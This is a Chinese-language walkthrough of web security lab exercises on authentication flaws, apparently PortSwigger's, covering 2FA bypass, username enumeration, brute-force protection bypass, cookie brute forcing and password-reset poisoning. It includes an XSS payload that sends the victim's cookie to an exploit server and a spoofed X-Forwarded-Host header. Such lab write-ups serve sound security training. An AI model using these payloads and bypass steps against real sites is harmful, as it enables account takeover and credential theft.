身份验证漏洞
Authentication vulnerabilities
身份验证漏洞可能允许攻击者访问敏感数据和功能
什么是身份验证
身份验证是验证用户或客户端身份的过程。网站可能会暴露给任何连接到 Internet 的人。这使得强大的身份验证机制成为有效的 Web 安全不可或缺的一部分。
身份验证主要有三种类型:
- 你知道的信息,例如密码或安全问题的答案。这些有时称为 “知识因子”。
- 你拥有的东西,这是一个物理对象,例如手机或证券令牌。这些有时被称为“占有因素”。
- 你是某事或某事。例如,您的生物特征或行为模式。这些有时被称为“固有因素”。
漏洞实验
枚举用户名和密码

2FA(双重验证)简单绕过
自己的凭据: wiener:peter
受害者的凭据: carlos:montoya
登录自己的账户,发现需要输入安全码

打开自己的邮箱,查看安全码

登录成功,跳转到/my-account?id=wiener

尝试登录受害者账户,到需要输入安全码时,修改url为/my-account?id=carlos

成功绕过二次验证

密码重置逻辑错误
自己的凭据: wiener:peter
受害者的用户名: carlos
点击忘记密码,填写自己的用户名
收到重置密码邮件

访问链接,输入新密码,查看数据包

修改用户名为carlos
成功修改密码,登录成功

根据响应不同枚举用户名
登录,抓包,枚举用户名

匹配关键字

发现,用户aix,响应中缺少了一个.符号

通过枚举该用户的密码,成功登录
username=aix&password=matthew
根据响应时间枚举用户名
自己的凭据: wiener:peter
将密码设置长一点(100个字符),枚举用户名,用XFF头更改IP地址,防止IP被封锁

发现用户al和wiener的响应时间大致相同,判断出al是一个有效用户
接着爆破密码

al:123123
破解暴力保护、IP 封锁
如果连续提交 3 个错误的登录信息, IP 将被暂时阻止。但是,请注意,在达到此限制之前,可以通过登录自己的账户来重置失败登录尝试次数的计数器。

每爆破一次就登录一次wiener用户,重置失败登录尝试次数

最终拿到账户密码
username=carlos&password=joshua
通过帐户锁定进行用户名枚举
通过多次爆破一个用户,该用户会进行锁定

使用Cluster bomb模式,密码随便填几个(5个以上),发现mysql账户被锁定

然后爆破密码

发现当账户输入正确密码时,访问错误信息处,是空的。一分钟以后登录用户即可
2FA 逻辑漏洞
自己的凭据: wiener:peter
受害者的用户名: carlos
登录成功以后,找到GET /login2中的cookie值,verify字段表示给该用户生成一个临时2FA code

将值修改为carlos,为该用户生成一个临时code
然后抓取提交2FA code的数据包,将值修改为carlos,爆破code

成功登录carlos用户

爆破保持登录状态的cookie
自己的凭据: wiener:peter
受害者的用户名: carlos
通过上面的方法直接进行爆破,发现没有特别的响应

登录自己的账户,勾选保持登录状态

找到登录后的数据包,发现cookie中的stay-logged-in,为用户名:md5(密码),然后再base64编码

修改/my-account?id=wienerid值,然后爆破stay-logged-in
payload处理如下:
首先md5加密密码,添加carlos:前缀,然后base64编码


成功登录
离线密码破解
自己的凭据: wiener:peter
受害者的用户名: carlos
使用上一关的方法,发现不能失效了

这个实验,密码hash存在cookie中,并且有一个xss漏洞在评论的功能
<script>document.location='//exploit-0aff009f04439b108145ddb00105000a.exploit-server.net/'+document.cookie</script>

查看访问日志,成功拿到cookie

md5可以解出来
通过中间件进行密码重置中毒
用/户 carlos 会不小心点击他收到的电子邮件中的任何链接
POST /forgot-password数据包,支持 X-Forwarded-Host 头部,您可以使用它将动态生成的 reset 链接指向任意域。
指向自己的漏洞服务器
X-Forwarded-Host: exploit-0a81007603767cdb806c02c3015900e5.exploit-server.net
查看访问日志

重置密码即可
通过密码更改暴力破解密码
自己的凭据: wiener:peter
受害者的用户名: carlos
登陆上自己的账号,发现有修改密码的功能

修改username为carlos,观察响应,提示原密码不正确

原密码正确,重复新密码不一致

构造新密码不一致,通过爆破原密码,找到正确原密码

carlo:biteme
密码爆破,每个请求多个凭据
提交数据是json格式
密码可以整一个数组直接全部提交

数据转换脚本
def trans_file_string_to_be_string(path):
s=""
with open(path, 'r') as f1:
list1 = f1.readlines()
for i in range(0, len(list1)):
list1[i] = list1[i].rstrip('\n')
for a in list1:
s="\""+a+"\","+s
print(s)
trans_file_string_to_be_string("1.txt")
浏览器打开即可

使用暴力攻击绕过 2FA
受害者凭据:carlos:montoya
登录账户,需要二次验证,输入二次错误代码,账户会被自动注销
所以,需要使用 Burp 的会话处理功能自动重新登录

点击添加会话处理规则,设置范围,选择所有URLs

开始添加规则的详细操作,选择运行一个宏

之后添加一个宏

选择需要自动化的数据包,长按ctrl多选,完成宏的创建

这样,在每次请求POST /login2,csrf,session都是刷新(有效的)

漏洞点:每次登录POST /login生成一个2FA code,但是这个code在一段时间内均有效。而不是每次登录都会放弃之前的2FA code

找到302状态码,替换session的值,成功登录